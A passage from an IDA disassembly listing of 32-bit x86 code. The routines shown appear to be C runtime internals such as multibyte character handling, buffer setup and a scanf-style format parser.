; ---------------------------------------------------------------------------


loc_4208E6:				; CODE XREF: sub_420788+143j
					; sub_420788+148j
		cmp	eax, 61h
		jb	short loc_4208FE
		cmp	eax, 7Ah
		ja	short loc_4208FE
		or	byte_4DFB41[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_4208DE
; ---------------------------------------------------------------------------


loc_4208FE:				; CODE XREF: sub_420788+161j
					; sub_420788+166j
		and	byte_4DFA40[eax], 0


loc_420905:				; CODE XREF: sub_420788+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_4208C8


loc_42090A:				; CODE XREF: sub_420788+137j
		pop	esi
		leave
		retn
sub_420788	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090D	proc near		; CODE XREF: sub_42353D+9p
					; sub_423595+Dp ...
		cmp	dword_4DFC74, 0
		jnz	short locret_420928
		push	0FFFFFFFDh
		call	sub_420549
		pop	ecx
		mov	dword_4DFC74, 1

locret_420928:				; CODE XREF: sub_42090D+7j
		retn
sub_42090D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420929	proc near		; CODE XREF: sub_41C041+2Bp
					; sub_41C041+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DFA3C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_42094D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BC60
		add	esp, 0Ch
		jmp	short loc_4209B0
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_420929+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420992
		mov	ecx, [ebp+arg_4]


loc_420958:				; CODE XREF: sub_420929+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DFB41[esi], 4
		mov	[edi], al
		jz	short loc_42097C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420988
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_42098E
		jmp	short loc_420982
; ---------------------------------------------------------------------------


loc_42097C:				; CODE XREF: sub_420929+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420992


loc_420982:				; CODE XREF: sub_420929+51j
		test	edx, edx
		jnz	short loc_420958
		jmp	short loc_420992
; ---------------------------------------------------------------------------


loc_420988:				; CODE XREF: sub_420929+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420992
; ---------------------------------------------------------------------------


loc_42098E:				; CODE XREF: sub_420929+4Fj
		and	byte ptr [edi-2], 0


loc_420992:				; CODE XREF: sub_420929+2Aj
					; sub_420929+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_4209AD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_4209AD:				; CODE XREF: sub_420929+6Fj
		mov	eax, [ebp+arg_0]


loc_4209B0:				; CODE XREF: sub_420929+22j
		pop	edi
		pop	ebp
		retn
sub_420929	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4209B3	proc near		; CODE XREF: sub_41C22D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE684, 0
		push	ebx
		jnz	short loc_4209DE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420A7C
		cmp	eax, 7Ah
		jg	loc_420A7C
		sub	eax, 20h
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209DE:				; CODE XREF: sub_4209B3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420A11
		cmp	dword_43F824, 1
		jle	short loc_4209FE
		push	2
		push	ebx
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_420A09
; ---------------------------------------------------------------------------


loc_4209FE:				; CODE XREF: sub_4209B3+3Dj
		mov	eax, off_43F618
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420A09:				; CODE XREF: sub_4209B3+49j
		test	eax, eax
		jnz	short loc_420A11


loc_420A0D:				; CODE XREF: sub_4209B3+AFj
		mov	eax, ebx
		jmp	short loc_420A7C
; ---------------------------------------------------------------------------


loc_420A11:				; CODE XREF: sub_4209B3+34j
					; sub_4209B3+58j
		mov	edx, off_43F618
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420A34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420A3D
; ---------------------------------------------------------------------------


loc_420A34:				; CODE XREF: sub_4209B3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420A3D:				; CODE XREF: sub_4209B3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DE684
		call	sub_42316A
		add	esp, 20h
		test	eax, eax
		jz	short loc_420A0D
		cmp	eax, 1
		jnz	short loc_420A6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420A7C
; ---------------------------------------------------------------------------


loc_420A6F:				; CODE XREF: sub_4209B3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420A7C:				; CODE XREF: sub_4209B3+14j
					; sub_4209B3+1Dj ...
		pop	ebx
		leave
		retn
sub_4209B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A7F	proc near		; CODE XREF: sub_41C44C+1Dp
					; sub_41DA5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DE5C8, ecx
		mov	eax, offset dword_43F930


loc_420A90:				; CODE XREF: sub_420A7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420AB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43FA98
		jl	short loc_420A90
		cmp	ecx, 13h
		jb	short loc_420AC1
		cmp	ecx, 24h
		ja	short loc_420AC1
		mov	dword_4DE5C4, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420AB4:				; CODE XREF: sub_420A7F+13j
		mov	eax, dword_43F934[edx*8]
		mov	dword_4DE5C4, eax
		retn
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420A7F+23j
					; sub_420A7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420ADB
		cmp	ecx, 0CAh
		mov	dword_4DE5C4, 8
		jbe	short locret_420AE5


loc_420ADB:				; CODE XREF: sub_420A7F+48j
		mov	dword_4DE5C4, 16h

locret_420AE5:				; CODE XREF: sub_420A7F+5Aj
		retn
sub_420A7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420AE6	proc near		; CODE XREF: sub_41C476+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4244FD
		test	eax, eax
		pop	ecx
		jz	short loc_420B6F
		cmp	esi, offset dword_43FD28
		jnz	short loc_420B04
		xor	eax, eax
		jmp	short loc_420B0F
; ---------------------------------------------------------------------------


loc_420B04:				; CODE XREF: sub_420AE6+18j
		cmp	esi, offset dword_43FD48
		jnz	short loc_420B6F
		push	1
		pop	eax


loc_420B0F:				; CODE XREF: sub_420AE6+1Cj
		inc	dword_4DE7B0
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420B6F
		cmp	dword_4DE654[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DE654h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420B55
		push	ebx
		call	sub_41BB45
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420B55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420B62
; ---------------------------------------------------------------------------


loc_420B55:				; CODE XREF: sub_420AE6+4Dj
					; sub_420AE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420B62:				; CODE XREF: sub_420AE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420B6F:				; CODE XREF: sub_420AE6+10j
					; sub_420AE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420AE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B73	proc near		; CODE XREF: sub_41C476+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420B9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420BAE
		push	esi
		call	sub_41E22B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420B9D:				; CODE XREF: sub_420B73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420BAE
		push	eax
		call	sub_41E22B
		pop	ecx


loc_420BAE:				; CODE XREF: sub_420B73+10j
					; sub_420B73+32j
		pop	esi
		retn
sub_420B73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB0	proc near		; CODE XREF: sub_41C973+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4215B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420BDF
; ---------------------------------------------------------------------------


loc_420BDA:				; CODE XREF: sub_420BB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420BDF:				; CODE XREF: sub_420BB0+28j
		cmp	dword_43F824, 1
		jle	short loc_420BF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C06
; ---------------------------------------------------------------------------


loc_420BF7:				; CODE XREF: sub_420BB0+36j
		mov	ecx, off_43F618
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420C06:				; CODE XREF: sub_420BB0+45j
		cmp	eax, ebx
		jz	short loc_420C40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42163D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421626
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DD10
		add	esp, 0Ch


loc_420C2E:				; CODE XREF: sub_420BB0+8Ej
		test	eax, eax
		jz	short loc_420C40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DD10
		pop	ecx
		jmp	short loc_420C2E
; ---------------------------------------------------------------------------


loc_420C40:				; CODE XREF: sub_420BB0+58j
					; sub_420BB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421522
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420C77:				; CODE XREF: sub_420BB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43F824, 1
		jle	short loc_420C94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_420CA3
; ---------------------------------------------------------------------------


loc_420C94:				; CODE XREF: sub_420BB0+D3j
		mov	ecx, off_43F618
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420CA3:				; CODE XREF: sub_420BB0+E2j
		test	eax, eax
		jz	short loc_420CB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420D1E
; ---------------------------------------------------------------------------


loc_420CB9:				; CODE XREF: sub_420BB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420CFC
		jz	short loc_420D1E
		cmp	ebx, 2Ah
		jz	short loc_420CF7
		cmp	ebx, 46h
		jz	short loc_420D1E
		cmp	ebx, 49h
		jz	short loc_420CD9
		cmp	ebx, 4Ch
		jnz	short loc_420D0B
		inc	[ebp+var_D]
		jmp	short loc_420D1E
; ---------------------------------------------------------------------------


loc_420CD9:				; CODE XREF: sub_420BB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420D0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420D0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420D1E
; ---------------------------------------------------------------------------


loc_420CF7:				; CODE XREF: sub_420BB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420D1E
; ---------------------------------------------------------------------------


loc_420CFC:				; CODE XREF: sub_420BB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420D18
		cmp	ebx, 6Ch
		jz	short loc_420D10
		cmp	ebx, 77h
		jz	short loc_420D13


loc_420D0B:				; CODE XREF: sub_420BB0+122j
					; sub_420BB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420D1E
; ---------------------------------------------------------------------------


loc_420D10:				; CODE XREF: sub_420BB0+154j
		inc	[ebp+var_D]


loc_420D13:				; CODE XREF: sub_420BB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420D1E
; ---------------------------------------------------------------------------


loc_420D18:				; CODE XREF: sub_420BB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420D1E:				; CODE XREF: sub_420BB0+107j
					; sub_420BB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420C77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420D43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420D43:				; CODE XREF: sub_420BB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420D61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420D5D
		cmp	al, 43h
		jz	short loc_420D5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420D61
; ---------------------------------------------------------------------------


loc_420D5D:				; CODE XREF: sub_420BB0+1A1j
					; sub_420BB0+1A5j
		mov	[ebp+var_5], 1


loc_420D61:				; CODE XREF: sub_420BB0+19Bj
					; sub_420BB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420D9A
		cmp	esi, 63h
		jz	short loc_420D8B
		cmp	esi, 7Bh
		jz	short loc_420D8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42163D
		pop	ecx
		jmp	short loc_420D96
; ---------------------------------------------------------------------------


loc_420D8B:				; CODE XREF: sub_420BB0+1C5j
					; sub_420BB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42160C


loc_420D96:				; CODE XREF: sub_420BB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420D9A:				; CODE XREF: sub_420BB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420DAA
		cmp	[ebp+var_C], eax
		jz	loc_421586


loc_420DAA:				; CODE XREF: sub_420BB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421011
		jz	loc_4212C3
		cmp	esi, 63h
		jz	loc_420FEE
		cmp	esi, 64h
		jz	loc_4212C3
		jle	loc_42103B
		cmp	esi, 67h
		jle	short loc_420E0E
		cmp	esi, 69h
		jz	short loc_420DF6
		cmp	esi, 6Eh
		jnz	loc_42103B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4214F1
		jmp	loc_421517
; ---------------------------------------------------------------------------


loc_420DF6:				; CODE XREF: sub_420BB0+229j
		push	64h
		pop	esi


loc_420DF9:				; CODE XREF: sub_420BB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421083
		mov	[ebp+var_17], 1
		jmp	loc_421088
; ---------------------------------------------------------------------------


loc_420E0E:				; CODE XREF: sub_420BB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_420E2A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_420E2F
; ---------------------------------------------------------------------------


loc_420E2A:				; CODE XREF: sub_420BB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_420E46


loc_420E2F:				; CODE XREF: sub_420BB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42160C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420E49
; ---------------------------------------------------------------------------


loc_420E46:				; CODE XREF: sub_420BB0+27Dj
		mov	edi, [ebp+arg_0]


loc_420E49:				; CODE XREF: sub_420BB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_420E58
		cmp	[ebp+var_C], 15Dh
		jle	short loc_420E5F


loc_420E58:				; CODE XREF: sub_420BB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_420E5F:				; CODE XREF: sub_420BB0+2A6j
					; sub_420BB0+2F2j
		cmp	dword_43F824, 1
		jle	short loc_420E74
		push	4
		push	ebx
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E7F
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420BB0+2B6j
		mov	eax, off_43F618
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420E7F:				; CODE XREF: sub_420BB0+2C2j
		test	eax, eax
		jz	short loc_420EA4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420EA4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42160C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420E5F
; ---------------------------------------------------------------------------


loc_420EA4:				; CODE XREF: sub_420BB0+2D1j
					; sub_420BB0+2DBj
		cmp	byte_43F828, bl
		jnz	short loc_420F12
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420F12
		inc	[ebp+var_4]
		push	edi
		call	sub_42160C
		mov	ebx, eax
		mov	al, byte_43F828
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_420ECD:				; CODE XREF: sub_420BB0+360j
		cmp	dword_43F824, 1
		jle	short loc_420EE2
		push	4
		push	ebx
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EED
; ---------------------------------------------------------------------------


loc_420EE2:				; CODE XREF: sub_420BB0+324j
		mov	eax, off_43F618
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420EED:				; CODE XREF: sub_420BB0+330j
		test	eax, eax
		jz	short loc_420F12
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420F12
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42160C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420ECD
; ---------------------------------------------------------------------------


loc_420F12:				; CODE XREF: sub_420BB0+2FAj
					; sub_420BB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_420FAA
		cmp	ebx, 65h
		jz	short loc_420F2A
		cmp	ebx, 45h
		jnz	loc_420FAA


loc_420F2A:				; CODE XREF: sub_420BB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420FAA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42160C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_420F51
		mov	[esi], al
		inc	esi
		jmp	short loc_420F56
; ---------------------------------------------------------------------------


loc_420F51:				; CODE XREF: sub_420BB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_420F74


loc_420F56:				; CODE XREF: sub_420BB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_420F65
		and	[ebp+var_C], eax
		jmp	short loc_420F74
; ---------------------------------------------------------------------------


loc_420F65:				; CODE XREF: sub_420BB0+3AEj
					; sub_420BB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42160C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420F74:				; CODE XREF: sub_420BB0+3A4j
					; sub_420BB0+3B3j
		cmp	dword_43F824, 1
		jle	short loc_420F89
		push	4
		push	ebx
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_420F94
; ---------------------------------------------------------------------------


loc_420F89:				; CODE XREF: sub_420BB0+3CBj
		mov	eax, off_43F618
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420F94:				; CODE XREF: sub_420BB0+3D7j
		test	eax, eax
		jz	short loc_420FAA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420FAA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_420F65
; ---------------------------------------------------------------------------


loc_420FAA:				; CODE XREF: sub_420BB0+366j
					; sub_420BB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421626
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4215B6
		cmp	[ebp+var_E], 0
		jnz	loc_421517
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43FBC8
		add	esp, 0Ch
		jmp	loc_421517
; ---------------------------------------------------------------------------


loc_420FEE:				; CODE XREF: sub_420BB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_420FFD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_420FFD:				; CODE XREF: sub_420BB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421007
		mov	[ebp+var_16], 1


loc_421007:				; CODE XREF: sub_420BB0+451j
		mov	edi, offset dword_43FAA0
		jmp	loc_42111C
; ---------------------------------------------------------------------------


loc_421011:				; CODE XREF: sub_420BB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4212BF
		sub	eax, 3
		jz	loc_42110D
		dec	eax
		dec	eax
		jz	loc_4212C3
		sub	eax, 3
		jz	loc_420DF9
		sub	eax, 3
		jz	short loc_42105F


loc_42103B:				; CODE XREF: sub_420BB0+21Bj
					; sub_420BB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421586
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421517
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421517
; ---------------------------------------------------------------------------


loc_42105F:				; CODE XREF: sub_420BB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421069
		mov	[ebp+var_16], 1


loc_421069:				; CODE XREF: sub_420BB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421120
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42111C
; ---------------------------------------------------------------------------


loc_421083:				; CODE XREF: sub_420BB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4210AA


loc_421088:				; CODE XREF: sub_420BB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421099
		cmp	[ebp+var_20], 0
		jz	short loc_421099
		mov	[ebp+var_F], 1
		jmp	short loc_4210AA
; ---------------------------------------------------------------------------


loc_421099:				; CODE XREF: sub_420BB0+4DBj
					; sub_420BB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42160C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4210AA:				; CODE XREF: sub_420BB0+4D6j
					; sub_420BB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4212F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42160C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4210F8
		cmp	bl, 58h
		jz	short loc_4210F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4210E2
		push	6Fh


loc_4210DC:				; CODE XREF: sub_420BB0+55Bj
		pop	esi
		jmp	loc_4212F8
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420BB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421626
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4212F5
; ---------------------------------------------------------------------------


loc_4210F8:				; CODE XREF: sub_420BB0+517j
					; sub_420BB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42160C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4210DC
; ---------------------------------------------------------------------------


loc_42110D:				; CODE XREF: sub_420BB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421117
		mov	[ebp+var_16], 1


loc_421117:				; CODE XREF: sub_420BB0+561j
		mov	edi, offset dword_43FA98


loc_42111C:				; CODE XREF: sub_420BB0+45Cj
					; sub_420BB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421120:				; CODE XREF: sub_420BB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421144
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421144
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421147
; ---------------------------------------------------------------------------


loc_421144:				; CODE XREF: sub_420BB0+584j
					; sub_420BB0+589j
		mov	dl, [ebp+var_35]


loc_421147:				; CODE XREF: sub_420BB0+592j
					; sub_420BB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4211AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421193
		test	dl, dl
		jz	short loc_421193
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421193
		inc	edi
		cmp	dl, cl
		jnb	short loc_421166
		mov	al, cl
		jmp	short loc_42116A
; ---------------------------------------------------------------------------


loc_421166:				; CODE XREF: sub_420BB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42116A:				; CODE XREF: sub_420BB0+5B4j
		cmp	dl, al
		ja	short loc_42118F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421177:				; CODE XREF: sub_420BB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421177


loc_42118F:				; CODE XREF: sub_420BB0+5BCj
		xor	dl, dl
		jmp	short loc_421147
; ---------------------------------------------------------------------------


loc_421193:				; CODE XREF: sub_420BB0+5A0j
